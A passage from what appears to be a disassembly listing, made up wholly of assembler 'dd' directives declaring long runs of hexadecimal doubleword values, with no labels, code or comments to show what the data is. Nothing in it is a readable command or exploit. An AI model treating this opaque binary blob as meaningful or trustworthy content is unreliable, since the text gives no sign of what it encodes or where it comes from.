		dd 67FA05D3h, 2F1E2125h, 7523408Ch, 545618h, 0CEA90E24h
		dd 0B9B6E886h, 57D19CB9h, 0B0F4718h, 0A1687ABFh, 7D8B5CFEh
		dd 8721A022h, 40746BDh,	18149632h, 0D2409DC4h, 0DB6A32B3h
		dd 3FE40818h, 0B6166939h, 0D819B804h, 7461A27Bh, 8C7EA10Ch
		dd 7F1B9800h, 0E52DED3Eh, 9F5916EFh, 4074C353h,	2A9B70E7h
		dd 0A75CB0DDh, 0A93B2270h, 6503B86Ch, 0AD88EAA8h, 0BCC29540h
		dd 449E8040h, 5A0BD87Eh, 0AE5B3707h, 6CF4BE59h,	0C8044ACh
		dd 0DE82A512h, 75439500h, 22EDAE66h, 1A5602E6h,	0B9E73A44h
		dd 0A4266EE0h, 88478F4Bh, 0B471C605h, 0AAE848DFh, 0B2A91E54h
		dd 0C11B9A21h, 0E330A757h, 0F0F1FC05h, 41941FFDh, 0F622906Ch
		dd 32009CA6h, 888E9C12h, 3B0A3D1h, 53F84881h, 4599FB8Bh
		dd 6F288213h, 578703FFh
		dd 485F4027h, 4432DF81h, 64200B5Ah, 32898E0h, 6068AA9Fh
		dd 69E68FF8h, 0DB74300h, 50F55B36h, 46840002h, 0A8285C0Ch
		dd 4A0BEAE8h, 2D6B1A63h, 96D970E8h, 2F954401h, 3B109C2Fh
		dd 0F461C10Ch, 0AFE43199h, 86F91F7Ch, 446B058Ah, 24ACA4DCh
		dd 3889D713h, 8059E0C8h, 912913F1h, 0E386B06Dh,	48F9EF18h
		dd 35C7D070h, 9C017E4Ah, 70A1A8FBh, 89D66220h, 6A0B3C0Bh
		dd 3014C474h, 3E28B0A4h, 6DF80530h, 660E9918h, 169E120h
		dd 0FF873104h, 6DEE8384h, 3A9ABC2Ch, 1A0F1102h,	7EA02194h
		dd 6DF7438h, 69257CBAh,	8F402415h, 2994A4h, 7BC9BDB2h
		dd 42D78EAh, 83103507h,	505075CAh, 477D5A9h, 0A7AABC1Fh
		dd 80C4C502h, 765A6C9Ch, 0E501DCB6h, 9547974Fh,	8A135879h
		dd 96D080E9h, 0B14E4DA4h, 0EC0FE40Ah, 44465Eh, 7021EE51h
		dd 16B59A4h, 73B258C1h,	30F85BE5h, 0ED7115A8h, 0C5996125h
		dd 609CC48Ch, 19673696h, 0A055E5D3h, 0BB51891h,	506FA43Dh
		dd 0A1804CE5h, 0B8773DBEh, 73A803B5h, 8FDD46Dh,	0E084B0ECh
		dd 63635825h, 4E41A448h, 93A2B066h, 78A39970h, 8A895F11h
		dd 9C641C16h, 23ACF612h, 74B0AC2Ah, 2B007046h, 77EEDF76h
		dd 273BF9EAh, 0A5E53F43h, 6D380217h, 0E018EDCCh, 627E3267h
		dd 0FB9C301h, 0CF2A9EE9h, 10C42F2Bh, 92C071FDh,	9B5B8EFFh
		dd 65BB570Eh, 34DA216Dh, 0C038E0BFh, 8C74BCh, 7AD84D6h
		dd 55E439FAh, 47505091h, 738007DFh, 0B09CF7D9h,	675E298Ah
		dd 1118BEEEh, 0AF19D6E5h, 2F202834h, 0E004009Ch, 836C2886h
		dd 890FC557h, 2084143Dh, 427EF2F1h, 514D1E74h, 0A52B0724h
		dd 926D8340h, 0F7C84814h, 4CD0E004h, 0E1FE00F3h, 0C42BFC58h
		dd 40F9EB50h, 0C806F2C3h, 3ED0B0Ch, 2B4EC9h, 0F794A9E1h
		dd 0E791C1E2h, 9C4BBF03h, 0BB58C6FFh, 7B4FB0FBh, 695D0320h
		dd 70452EC8h, 0E40F7100h, 0F4ECF8B8h, 0EEA019BBh, 8077088Ch
		dd 0B89BB221h, 0FFD358h, 9EE57D6h, 0E702FE35h, 3D18781Eh
		dd 6FA27BC3h, 0F91D98FBh, 0E881EF3Bh, 9FB3CBC8h, 97788695h
		dd 7E09E7Fh, 61D41E4Fh,	0D927706Ch, 3B008278h, 0F5C84174h
		dd 371645B5h, 10208690h, 0EE47D9C3h, 9D209553h,	37817D51h
		dd 6F8026h, 0D1966DC6h,	7C00AC3Ah, 243105B9h, 9F192CA2h
		dd 0B408B21Bh, 9DD6219Eh, 3D484005h, 2E25FB66h,	0EC15EF7Ch
		dd 2D0C5E5h, 0B75E3328h, 90184A4Fh, 819B231Ch, 275EE488h
		dd 0B9ACA500h, 0E6568262h, 0A4990A0Eh, 85AC6A1Bh, 419D496Ch
		dd 7927C2F8h, 35A440D2h, 8802C64Ch, 2429C9D3h, 78E2D9h
		dd 6F59F0A8h, 200300E0h, 0BBCCEE6Dh, 0DD0C1928h, 59884434h
		dd 0ED78007Ch, 0FBA7ECE6h, 0E0038A7Fh, 88025A60h, 4D4805BAh
		dd 4272B016h, 0AA9F1A0h, 0EC75440h, 6D7C3872h, 0D21F5904h
		dd 0A942A21Dh, 4420C7F3h, 3D50FA8h, 69A27F2Ah, 0A0E0FDCCh
		dd 0D1C0F870h, 9E2EF597h, 11F90622h, 8E11ACDh, 3821F060h
		dd 1662EEEh, 8077CCCEh,	0FC5870DDh, 330C714Ah, 79A3828Ch
		dd 0C0A0E9Eh, 470EA052h, 3D61FDCEh, 0E0601348h,	3E05808Fh
		dd 67E05F0Dh, 806CDB15h, 0ECF6B89Eh, 62448CE4h,	0B89500B0h
		dd 164FB6C5h, 0F8C00FF4h, 4C4D53EDh, 916539EFh,	70B82986h
		dd 5F00B9A0h, 5B097A2h,	74E966E1h, 95600674h, 596E21A4h
		dd 1A06B67Eh, 0F0A61391h, 764F0940h, 48108650h,	0EB49F7EEh
		dd 5E328628h, 28E74888h, 87A04448h, 6C005E2Ah, 641D88Fh
		dd 90B4F65Ch, 6D542410h, 814511E8h, 0ECEFB89Fh,	107931DAh
		dd 1FB896B1h, 0C0157FB0h, 0FB10F39Dh, 21C06D43h, 0A89F5F7Dh
		dd 0B16E00C9h, 3A73322Dh, 8F149333h, 247426A4h,	3406C44Eh
		dd 49D969D7h, 0B780B498h, 0B2243305h, 0DCB5448Ch, 0E3059D00h
		dd 0AEAB2199h, 0C0100257h, 0DB6517A8h, 41088440h, 71689E18h
		dd 24F12330h, 5452A3h, 6B55B45h, 55033A4Ch, 5CA8C9D4h
		dd 81F9EA96h, 0BF417598h, 4809C471h, 213405F4h,	0E1C0BA24h
		dd 901205A2h, 0D914076Ch, 504E68ECh, 2B5E1E27h,	0CB09AA15h
		dd 82C528C8h, 432A4092h, 93008874h, 0D321C433h,	785B20F0h
		dd 0B8C748F2h, 11908524h, 2EFA80A5h, 8CD122E3h,	0D9F244h
		dd 0E5BC2EEAh, 8D7C159Dh, 532C1B00h, 70B78489h,	3129C09Fh
		dd 2AA452C6h, 4D00ED7Ah, 817EAA63h, 43C6E65h, 6F52D9Ah
		dd 5500808Dh, 0BE059B82h, 4E20C908h, 18E60C0Fh,	4321D9h
		dd 882BA11Fh, 1D9AB60Bh, 41056E74h, 6D14DC0Eh, 0C097F448h
		dd 243205B6h, 8873AA46h, 3A80A4DBh, 1E530986h, 1811FE02h
		dd 8B81895h, 9A243005h,	0DD40B3C4h, 55B8059Eh, 2EE81FFEh
		dd 0B9D4E730h, 6A18B3h,	0ECBD6CF3h, 0D0DAAF0Ch,	310041E8h
		dd 85491F5Ah, 244C05FEh, 9C9F3Eh, 0C851431Ah, 0EA1391EDh
		dd 0B850CA4Bh, 1A123D4h, 229F2EF6h, 88E918F1h, 2E7EE735h
		dd 0FD2F4D01h, 5358F9FBh, 22CC8C20h, 44A56D11h,	0D560B8C4h
		dd 4B006BD4h, 0EBFE8A8h, 246716C5h, 262B91BDh, 8E486010h
		dd 0F341E7E2h, 7AF0C4Ch, 0FB4504E5h, 16BEA0ECh,	0A4FC68EDh
		dd 11018B00h, 476AF531h, 2C31C1F9h, 0F49854FAh,	211844D7h
		dd 0A999262Fh, 0B4CC54F1h, 0F34700E8h, 0C29B4D54h, 22541206h
		dd 97F37F88h, 0BC0375C1h, 0D88A36EDh, 280F4B2h,	0ECF534CFh
		dd 5C64B1BBh, 27AD1016h, 2AC82044h, 9E060D8h, 94ECF4B8h
		dd 0AE04DC9Ch, 6119B897h, 0C04ACC0h, 8264B36Dh,	5BB0262Dh
		dd 4D1D043h, 20943119h,	81C3D218h, 0BAAD2022h, 602C247Bh
		dd 23FAB8E2h, 7811C4ECh, 0B899B400h, 24F99E2Bh,	2C0A3F00h
		dd 0E7E925D0h, 0CAC4A3B9h, 6AA1421Eh, 474C6128h, 0B850E118h
		dd 30A48C88h, 0AF6444h,	5BC9B898h, 0E124627Dh, 0F0BC032Bh
		dd 77612880h, 1F25FD60h, 921D98D8h, 0F0E85408h,	0B85113Eh
		dd 4023B9DCh, 0E14625E4h, 2A7A19F9h, 5504C0ACh,	92525947h
		dd 6044D098h, 35669187h, 3D000AABh, 866D6855h, 0A19EFDBBh
		dd 0B02032A4h, 99A26070h, 0DB354CA4h, 2BF8AF00h, 0F1240FA3h
		dd 0C09B6993h, 60E67C84h, 10B95E31h, 0C8812F4Fh, 458680DCh
		dd 1AEAC65Eh, 96DE4401h, 35092059h, 0F0B4B880h,	5CA71EEEh
		dd 670A3Bh, 0A318BF3Ch,	0B94398FBh, 0D8990788h,	345B30A5h
		dd 5211E82Ah, 25817A47h, 0A7D0C6Eh, 0BBAB4102h,	18401108h
		dd 78C12D45h, 0B82A4B6Eh, 48348044h, 1F10702Eh,	5613C09Bh
		dd 39A9E61Ch, 0FC81FB4Eh, 0B22F8A7Eh, 0F658BD33h, 0D8E8762Eh
		dd 0A4D7C480h, 12FBD07Eh, 0C7167Ch, 0EF809FE4h,	0A60F4CF5h
		dd 0C00FE84Fh, 0BB2D59C3h, 121700EEh, 0FA3F54CFh, 553FFDBAh
		dd 38805697h, 4B77210Eh, 549D5437h, 67F9DC7h, 830C254h
		dd 0B748CD84h, 0DD2D84C0h, 26680616h, 10121988h, 849CD1A5h
		dd 0A4BE4CDCh, 78CB7BCh, 6ACB43DBh, 82FE603Eh, 0E7304A29h
		dd 0A0A8B1D1h, 0D3410E2Ah, 22E0018Fh, 0F14C2442h, 6ADC6C09h
		dd 20D0484Fh, 0B6F94410h, 19A37030h, 9082F6h, 0C5BC8BBDh
		dd 923021ABh, 9D28C660h, 7FC1EFF0h, 0AE7F280Eh,	6062004Ch
		dd 9C0B3CBFh, 42000DCCh, 5D1A1434h, 5C37201Bh, 0C6412083h
		dd 0E0B2EC13h, 9967C142h, 18627954h, 4F4D040Dh,	0C027D80Eh
		dd 0BC3C5848h, 0B87BD92Ah, 0DA652810h, 427E844Ch, 1A4230Dh
		dd 22E22EF9h, 88EF18D9h, 2E02F1DCh, 3B91CCD0h, 81E48237h
		dd 124207CBh, 0F8C5BFABh, 0B960B5E4h, 1C00F4CDh, 47C007DCh
		dd 76A6C1Ah, 0CC51E63h
		dd 0B0A8665Ch, 0CD6DD080h, 0E2F44382h, 0C20D00AEh, 0F701371Ah
		dd 6E501F59h, 0AE408088h, 489FF123h, 4400809Ah,	0CE3628FDh
		dd 8467E86Eh, 0B5380121h, 81589E98h, 310126D3h,	120889FCh
		dd 416020A4h, 865B88A8h, 0BBA8A6BAh, 9BDC543Bh,	0A13EAD00h
		dd 7AFBD266h, 1E4E0C1Fh, 0FA9874C4h, 4440CC4Ah,	4F232B7Bh
		dd 945AF606h, 2A914038h, 48FA1914h, 0F09BE400h,	9A340C5Ch
		dd 8BC00D7h, 4EBBFB18h,	490010EAh, 0A11AE809h, 24114413h
		dd 74FC5314h, 8F48DD46h, 99811B3Ah, 3B4F11EDh, 801C2842h
		dd 261A3D1Ch, 0B8932C20h, 632944BCh, 0ECF3E8E3h, 0C26891FCh
		dd 0FCC09AB5h, 4F05E8D7h, 0FA78FCAAh, 0F7EFEC02h, 355890EAh
		dd 4F9D115Eh, 9B2084CFh, 0BB00ECF2h, 0BA8BA30Eh, 947A6E4Dh
		dd 2E1DA8C0h, 499D012Dh, 0F38F809Eh, 0E922E082h, 0DA10ED31h
		dd 0C9002EEBh, 0E2D7C115h, 13086B07h, 229EAE5Ch, 0E868F578h
		dd 0E2248255h, 720D54CDh, 0A02C209Dh, 8CE9BCh, 48FA951Dh
		dd 602C764Eh, 25011090h, 410817F9h, 68288574h, 18CEFBCh
		dd 3F7133E2h, 0E5B6201Ch, 0CEAC50CDh, 0B100C12Bh, 7827AB08h
		dd 988271E6h, 0B07620F4h, 7726340Eh, 0F2684399h, 69402EDFh
		dd 5B465E80h, 0BACDE301h, 0C86BA1E6h, 54B8A5C7h, 1214843Ah
		dd 0F0CBB335h, 0A0C0B3C8h, 7425AC8Fh, 0BEF030Fh, 0C6F0A99Eh
		dd 834EE101h, 0BB2FD924h, 6E08943Ch, 23026C7Ch,	0E599FFE1h
		dd 0A2C33DF0h, 67753063h, 0C168ADE6h, 5A40C0A2h, 808BFCh
		dd 8684781Ah, 7A57B2B9h, 0D302E87Eh, 5972FD2Bh,	40D84887h
		dd 0C4D62E9Ch, 17116AC0h, 6884005Bh, 83A3D11Ch,	0F45FE21Bh
		dd 262CA8B8h, 97AB32F9h, 0C453DF10h, 7771C8A9h,	6B0B9F18h
		dd 33767C58h, 0E22FE920h, 157AE438h, 0C4A68219h, 7D2D1400h
		dd 4E27A560h, 2B87AC0Bh, 0AFB0B054h, 0B89B4C4Dh, 9A048C73h
		dd 4A243605h, 0DFC09CB2h, 7EA705A8h, 0FD746600h, 725F07D1h
		dd 27F91524h, 9B27E88Bh, 0B3915497h, 0DE37BE80h, 60484D9Bh
		dd 9E7E10DCh, 0C8ECCA92h, 1E99C1EFh, 0F9C2D060h, 0A2451B02h
		dd 0D0C74410h, 0A37E17B0h, 7C5289h, 7C40FB98h, 5CB9E6A2h
		dd 6A0BDA00h, 3C9AD5h, 73B41005h, 70D4D09Fh, 0EBDA2766h
		dd 8CD3D71h, 9D8B6B80h,	6EC4F6B8h, 0B029C501h, 22156F92h
		dd 88022421h, 0E89C20B1h, 6601EB87h, 8127D33Ah,	31E08C57h
		dd 0D989002Bh, 0E996F291h, 0E07C029Dh, 289EACA1h, 0FC610434h
		dd 7CC23CA1h, 0A29091B6h, 2E1FF718h, 20A322E4h,	0EFDE2658h
		dd 0AD820C6Ch, 67E03F91h, 4F8F2700h, 0BD095015h, 76EA87h
		dd 0BB13460Fh, 27DE33FCh, 530BD900h, 22D17442h,	0BC41C0A5h
		dd 69B8BE55h, 97B05FB0h, 0F940E4B6h, 0F49C610h,	0E6E021A2h
		dd 771B3C40h, 0BF01D9D2h, 0F461448Ah, 16DC24ECh, 0A26500B7h
		dd 20EADF84h, 6F229F63h, 0C2BAC09Dh, 0DF2B0482h, 0F146A0B0h
		dd 485E341Dh, 0DBC4D74Fh, 5E2C8940h, 7F3187A8h,	0BDCEB9A9h
		dd 0E5957F4h, 659EA26Eh, 26209BC0h, 9C4837E1h, 0EE3081E0h
		dd 0A4387BDDh, 58C65E8h, 9F4375Bh, 88489231h, 6E302000h
		dd 607F4A25h, 4AA48C4h,	67031700h, 1C6F7B65h, 462C0572h
		dd 13DBDFC8h, 239C2EF8h, 5CF500EFh, 2064D0FEh, 50306C4Ah
		dd 11D14B1Ah, 8182639Bh, 0CE651820h, 0CAE6F88Ah, 4C6180A4h
		dd 1A1B489Fh, 59C5A5Ch,	6D12A46Eh, 89B3F8D1h, 7A20E800h
		dd 104E6C25h, 419638F0h, 0F06DEEC7h, 0CF6064E4h, 8548C0BFh
		dd 2171008Ch, 0E2542683h, 0AFF80A7h, 4ABD800h, 0F99C6914h
		dd 0CCF407DAh, 0A57976BBh, 0F2B4A2A9h, 569033B8h, 0E61C0E24h
		dd 0BB4704E3h, 38D0A016h, 7672EDC5h, 78021485h,	724F84BDh
		dd 40329AECh, 4B24357Ch, 0DAB02CC2h, 6305A300h,	0E4D5599Dh
		dd 0A5B205ABh, 52F0CC32h, 907BD4h, 8E271C85h, 0B16D5466h
		dd 1864D14Ch, 4EE28Ah, 0E9111013h, 802515F9h, 0F1242B0Ah
		dd 0E089805Fh, 0CF0C06FAh, 2EEE5F11h, 0F7DE10F4h, 162D76C0h
		dd 202E8A11h, 0F30B20B2h, 780445EBh, 29047FFBh,	28EDAA65h
		dd 0A47060A0h, 4EC90098h, 0B0A55FF7h, 0CF3B73CEh, 158B0040h
		dd 3E60EC12h, 0F4F90BBFh, 0DCC925A4h, 832468B9h, 0BA7CFA87h
		dd 0E0D282h, 17F896E2h,	7FE8D7ADh, 5587C4BEh, 0A6C78341h
		dd 0C9611100h, 0A17600CAh, 0D7E057D4h, 0DF014EBBh, 0D19FED47h
		dd 0E2D0BC8Ah, 0B5EE15FAh, 0C04C9C4Dh, 8960AA48h, 0D914FCFDh
		dd 0EE3E8600h, 0EB599788h, 1EF01C3h, 22435047h,	0E84C4083h
		dd 0A20F0635h, 254DDD02h, 0CC279CF3h, 0F16C1DE2h, 0C9260008h
		dd 92A5D8C5h, 6933BE00h, 0E9400D27h, 54F902FAh,	910FA0E0h
		dd 38935070h, 0F3D15829h, 200D418h, 0FEF70640h,	17A38FADh
		dd 9D79371Ah, 0E2686278h, 0F88132B0h, 20F14BE9h, 762D2F28h
		dd 47540920h, 0F7DA627Ch, 48774E18h, 0E7098445h, 0F4E740A7h
		dd 189B1F42h, 0D602CFB7h, 0A4C45FFBh, 9B304427h, 0BF2C0A18h
		dd 0B546567Ch, 0D0758700h, 65CF541Eh, 0A081AC27h, 1AD808A0h
		dd 45E40049h, 574074B9h, 9E39C9E1h, 630B8173h, 0A182B7A4h
		dd 429A319Dh, 4FBD87CCh, 4E65DCC0h, 5067B724h, 44459803h
		dd 0F0B90075h, 8FF305Dh, 8B4AA4E2h, 22E1D0CDh, 0E012A023h
		dd 47044020h, 40BC4DE7h, 0E81D1F1Bh, 9D211F38h,	4169FC6Ch
		dd 9E91A48Ch, 4629E700h, 1FB4BB67h, 64B64856h, 0B76AA098h
		dd 0F1ECEE52h, 950C9B24h, 0A2A9AC00h, 88ECB658h, 264D1780h
		dd 2344C06Ch, 984C83F9h, 88CAE5FCh, 0F0C0B0C8h,	9793E925h
		dd 90B64C0Fh, 6E905688h, 88895B04h, 0F8E72FDAh,	64B85058h
		dd 0CD3048Ch, 975A4721h, 36C02878h, 294F9A5Eh, 608C8107h
		dd 915E2E8Bh, 644A0600h, 463217BDh, 229505A7h, 12200230h
		dd 9D8808CCh, 488A3A80h, 1BC854Ch, 2FF679EEh, 7834DC44h
		dd 0ECA72664h, 60CCDD50h, 92D991D5h, 0E7001057h, 2179BBA6h
		dd 0DECF1Bh, 318AD3A3h,	27199D84h, 29BC2Dh, 0A2AFF5Ch
		dd 30BDE495h, 0B049D2E6h, 0A71DFA8Eh, 0CD008881h, 0D9D89957h
		dd 0BBF72F6Eh, 0A01A7407h, 0F0A9A664h, 0E48C1CA3h, 7B728A04h
		dd 5175E400h, 0BCE35D81h, 72541806h, 0A77F7882h, 156E8A8h
		dd 0FFAA3A2Ch, 92EB003Ah, 65DDAFD1h, 0B3FE00B8h, 0B0475C2Eh
		dd 2826AD8Ah, 202BA0F1h, 1CDA5316h, 44C2EEC8h, 0EDF09132h
		dd 5E083018h, 0CB374FB8h, 48859CA0h, 0E905575Eh, 2ED10FF8h
		dd 0FAE8E819h, 5FBC7AD6h, 6EF45349h, 4DE04C0h, 0EF80185Ah
		dd 2D3822CFh, 98A4D006h, 4C40B80Eh, 24F11899h, 13E89F80h
		dd 150162Ah, 4D9DAC30h,	0CDC04063h, 0F44BA9BBh,	547BA4D0h
		dd 0DE223030h, 8E538850h, 20B88C62h, 11589775h,	9BCE8079h
		dd 1469F3B1h, 0DA5239F8h, 9C0B977Dh, 0FC005C64h, 0A2BDF3E1h
		dd 9302F14h, 98B94C20h,	0E1D60C18h, 7EBC9900h, 0CA6E0471h
		dd 2A4C0021h, 0EE278661h, 0D126DB3Bh, 4343DC1Eh, 2F890E60h
		dd 8E8062EFh, 80B417F1h, 9D3954F8h, 87DC0048h, 0FA512F6Fh
		dd 0BBCC12ECh, 0B7D4E6C6h, 0E50E73F0h, 0B1AA0049h, 92E4ED2h
		dd 0BD0F2B72h, 89AC4D55h, 1D5C5AEFh, 0DB612EAh,	0C82088E7h
		dd 6490E5F1h, 851C6E2Fh, 1CE1587Ch, 200A4479h, 25E83829h
		dd 74E69064h, 1B84300h,	4C331664h, 913492AEh, 5AE820F4h
		dd 4DF444DEh, 0EB1CC150h, 74C702EFh, 0C32547BCh, 1802A0ABh
		dd 883E7653h, 0AFD46070h, 18260CC7h, 0EA4834BDh, 0A615BB01h
		dd 8E12C9E7h, 934D8450h
		dd 14A82C6Dh, 888404Ch,	310A9DCFh, 9C259B21h, 0A808A712h
		dd 1A12BFC8h, 670235Eh,	2FACBBE9h, 0B8B00400h, 9EAD280h
		dd 3D54D681h, 3C09285Ah, 0C59D0169h, 64EE64E4h,	5801DA12h
		dd 681BF66Eh, 76F26822h, 12676830h, 0C18A4B7h, 1A61A111h
		dd 0DC3D6200h, 0E4A7D7DFh, 0B84F500Ah, 0A4BC4CABh, 40526BC0h
		dd 280F9276h, 5F0AEDB8h, 0CBA304FCh, 8C88F927h,	0D0261453h
		dd 1400C069h, 34BCAD81h, 0C2284B80h, 0C07FF0B3h, 0F9702E00h
		dd 6318748Bh, 0CD33001Eh, 5443CFE2h, 9D670Eh, 56E92784h
		dd 744400A7h, 0E51E642Dh, 11768CBh, 2C8B6007h, 20C0F2C8h
		dd 49D9143h, 12613AEh, 4CA8AC34h, 48BD48F0h, 114312C4h
		dd 4E6C5444h, 52A4F488h, 1C4EB823h, 5830DE80h, 51C221A7h
		dd 0B6681300h, 9A0D56C3h, 38480CEDh, 0F3485D20h, 4443D788h
		dd 7B01AF75h, 0A94AB7BBh, 0C7079B81h, 5D7EB033h, 0BD9F97F5h
		dd 6D48880Ch, 357D9942h, 40112021h, 806C9BD7h, 2432D240h
		dd 3ED00BFCh, 88C8E6AFh, 0E73B3C78h, 883681BDh,	0C3149AEDh
		dd 9F1CD2E8h, 854E4A0h,	0AC998209h, 0A2167300h,	1CC5C3BCh
		dd 0BFD747h, 0F90502A3h, 527310E5h, 5C208817h, 7623983Ah
		dd 0C0BCA60Eh, 4F7BB0F0h, 0C1384F0Eh, 0BC734584h, 0B4EE2C29h
		dd 9B24215Eh, 7436FF80h, 0ABE5414h, 7019406Ah, 6C880BCh
		dd 0A2C06B29h, 4753EC00h, 0E335247Ch, 0F1201226h, 92CCA4D3h
		dd 878140h, 0A76AFAEDh,	47E1BE59h, 0C839DC9Ah, 2DE782ECh
		dd 0EDEEDFBCh, 0AACFC0F8h, 0D604E8E0h, 0E169BB39h, 73F40C81h
		dd 0D138C004h, 0B0A14E0Ch, 0AEC870F9h, 0E220251Fh, 0A41DB826h
		dd 725D7844h, 0CEE008F6h, 0DD00B807h, 0BB845822h, 4A5748FCh
		dd 2B1421EDh, 2106D8C5h, 72250500h, 8D89B8D3h, 0CE020215h
		dd 0DC8271ACh, 607E90CAh, 1B3465Eh, 25BD132Bh, 0E882AA8Dh
		dd 232D1820h, 0D49EF4F2h, 0B518F75Eh, 41B99607h, 82E7231Fh
		dd 0F5282251h, 3CD8012Eh, 680CA5Ch, 79F4660h, 22E12EF4h
		dd 40ECC428h, 0D32EED37h, 0EA993CADh, 46802CC8h, 433EF1C0h
		dd 8DD92809h, 60D88AA9h, 0F7DD2174h, 6CCB9280h,	7145D72h
		dd 163B2012h, 0B01049A4h, 547C7808h, 67289527h,	0B485604Ch
		dd 0BC1D722Fh, 1DC0F083h, 0F42B1730h, 7D18C0B7h, 428E1B2Eh
		dd 24BAC20Ch, 0F91A3083h, 33A83980h, 5C7A08BEh,	7B9BD403h
		dd 73B783h, 0F1C45221h,	18B8F969h, 0C0F0D719h, 21808808h
		dd 9CF1B2B1h, 0F900EDDAh, 0A8144389h, 3DE14C5Dh, 2F8152B5h
		dd 2D77B71Bh, 7A7083B6h, 670DE36h, 8FFCFA40h, 0AE90200Ch
		dd 387B3930h, 30AE7235h, 0B4C0305Ch, 3C00CACFh,	1FCE5A8Ah
		dd 0CCB652B9h, 70212B08h, 81007C98h, 43EB76B0h,	7E9B0DE3h
		dd 0FD7F3782h, 46396379h, 0D45897E0h, 3447CE0Fh, 0C87C8C90h
		dd 0AC080071h, 0B98215F5h, 0B0E07FE8h, 83DA39CEh, 0B1F3C1h
		dd 336A1411h, 561F3BC4h, 17668176h, 2821CA08h, 0AA6273h
		dd 6B6A6C0Ah, 0FFF93D1Dh, 1625E300h, 91562382h,	0F288C069h
		dd 19DE0207h, 0DC0CB4F8h, 48B521F5h, 155C3450h,	0B08808E1h
		dd 0D03CCCC0h, 229E465Ah, 0C5160723h, 0F049D83Ch, 36C6881Dh
		dd 0B33443E1h, 46B1A906h, 24889695h, 82086D18h,	50597016h
		dd 0F594C480h, 0D0A2C02Dh, 8FF81890h, 0B246D4ACh, 883CCE1Ch
		dd 25C4AE5Ah, 3CC71440h, 3300ABF1h, 60B51E03h, 28C11FCh
		dd 4C2E4A28h, 0BF8063C6h, 5809F990h, 0F2532300h, 42017ED6h
		dd 0C87154D3h, 6E048CC5h, 3F3BA833h, 311E0B63h,	8D9F6677h
		dd 26A13BC0h, 37058BA6h, 0F0D81FECh, 7E1A7DB4h,	0E01DE1CFh
		dd 88FAC4F0h, 0FC751AF3h, 0B4900878h, 0F00082BFh, 5D3E460Fh
		dd 1884ED12h, 2168F9DCh, 99CEC4F5h, 80620935h, 61813FC0h
		dd 1E7EA11h, 4ADC28Bh, 505BBE1Ch, 0EBC82F8Ch, 52D33491h
		dd 0EE0034D9h, 2E90C36h, 0F44CF9A8h, 77B31D80h,	0C898BB54h
		dd 336DC0C0h, 7433BABh,	0A0617687h, 0DEF4EAD9h,	59901A03h
		dd 0EB2B405h, 5AB50D58h, 240C65h, 0A0A57AA0h, 68C8CD10h
		dd 336CC0C7h, 0F463BAAh, 753D1022h, 2A800064h, 775C481Ch
		dd 26150720h, 76FD5AD5h, 0B0070CAh, 66253560h, 3EE831D3h
		dd 0A105D20Ah, 6080B475h, 0CBF08ADCh, 11D0FA23h, 81BE0068h
		dd 452032F0h, 0A6830035h, 0DE389AF5h, 0C4A8275Bh, 88184DE1h
		dd 4718FEA8h, 0C41C1CBFh, 75048006h, 0EF5515DBh, 0FB31CF00h
		dd 4A41BE51h, 0AA381214h, 11881285h, 0F850E8D7h, 393040A7h
		dd 0AC94F026h, 1786465Eh, 0FB01EF4Eh, 126BED5Ah, 5D3CB840h
		dd 509700D7h, 41F13553h, 5A14FE8Ah, 0BCC0DB45h,	722F21C8h
		dd 5E3BD201h, 430953Dh,	0C80713FAh, 41840FF2h, 5FE7FE5h
		dd 0DC5B18h, 0B6D3B4DCh, 73E6B9EEh, 0D4EC4B00h,	416FF376h
		dd 38B7739h, 399EB31h, 0D10079BBh, 0ED2A0653h, 8EA165h
		dd 0D3C46AC1h, 0E109C232h, 0BC079600h, 6FE4FA41h, 4AE8C113h
		dd 6454E5A8h, 0A7074F24h, 489D6D41h, 64781212h,	2AD4640h
		dd 5ACD3CC9h, 102E31B6h, 313CC26Fh, 63FEC05Bh, 0CD7BDC24h
		dd 0B901B01h, 7CE2EA19h, 78A76423h, 0CB0436C3h,	0EAE080C5h
		dd 0B6D90579h, 911BED58h, 63E4E380h, 302AA26Ch,	4F07D0CCh
		dd 15FCC9D8h, 4809D79h,	20722FC6h, 2EFAD0FFh, 400C037Eh
		dd 23614EB1h, 6DD45900h, 1FB0BD5Ch, 0FF9807Ch, 60262824h
		dd 4874483Eh, 1612394h,	0FAC8F0CFh, 888418E8h, 0F00086C3h
		dd 3F29CBD0h, 495D33B8h, 2A0720DDh, 20DE5844h, 2386F69Dh
		dd 79043973h, 0CDE46D3Fh, 290A48Ch, 0FBB2EF0Ah,	9065DB3Dh
		dd 986010E4h, 5D002547h, 0DE9A0DC4h, 0BAF3A9h, 91656376h
		dd 6CCDACBCh, 48A05B48h, 8C0FBC94h, 4F341500h, 0C2E69FBDh
		dd 0C78504F2h, 0C80BE558h, 0D56C3390h, 408F18F9h, 0CC99C514h
		dd 10C0A9D2h, 619E6CCh,	0C157FEBh, 0D60658D2h, 0B5A42258h
		dd 44BD0129h, 0C23F9421h, 0B094208Ah, 6C91317Ch, 1036C6D1h
		dd 0D96A6500h, 1FC031F0h, 3085D305h, 0E4C148C8h, 490072EBh
		dd 0AB031BE8h, 4BF797DCh, 4CB3E239h, 0E63CE274h, 80A6435Ah
		dd 3F3CC011h, 0FC080087h, 0E6FB1A6Ah, 0D926A63Bh, 27054C84h
		dd 90C1B93Ch, 3400B4C7h, 49A3A40h, 0C1E88C58h, 2146BB5Dh
		dd 12FAB074h, 1D2BD3E7h, 5B680264h, 0A045DB3Eh,	20D80FE5h
		dd 0EBD00003h, 0F5CAD70Eh, 7E0C89B5h, 909565CEh, 2503307Fh
		dd 7659BD31h, 0C0036092h, 1969CDB1h, 0A4B950BFh, 0CE048C64h
		dd 0B0FACFF0h, 8501C238h, 0CC92ADF0h, 39F8224Ch, 4628B093h
		dd 0F1A80287h, 1C58F96Dh, 0F1B6B50Fh, 1D1A947h,	4D163350h
		dd 40DDD45Bh, 21688096h, 0FC169017h, 44023905h,	80535638h
		dd 1E6B2EC8h, 467898D1h, 3CCB02AFh, 51C65A8Bh, 0BC6D6010h
		dd 0FF01993Ch, 36E23FEFh, 6C22F474h, 0A810DA03h, 95C0AB54h
		dd 590AF514h, 0FC174BFDh, 0B240093Ch, 43C6D89h,	471F837h
		dd 34C1FB80h, 28AEF58Ch, 84467604h, 44DA6403h, 2E80DE93h
		dd 374C4546h, 0FFF809A8h, 2DA0A0C7h, 4B79B1A6h,	85B00858h
		dd 6BF1AAC0h, 22C846F9h, 0B0B70287h, 8C2C10F1h,	0ED24F440h
		dd 0C00A6C00h, 0ECD2C28Fh, 0C01967E3h, 800392F8h, 7EBA4E40h
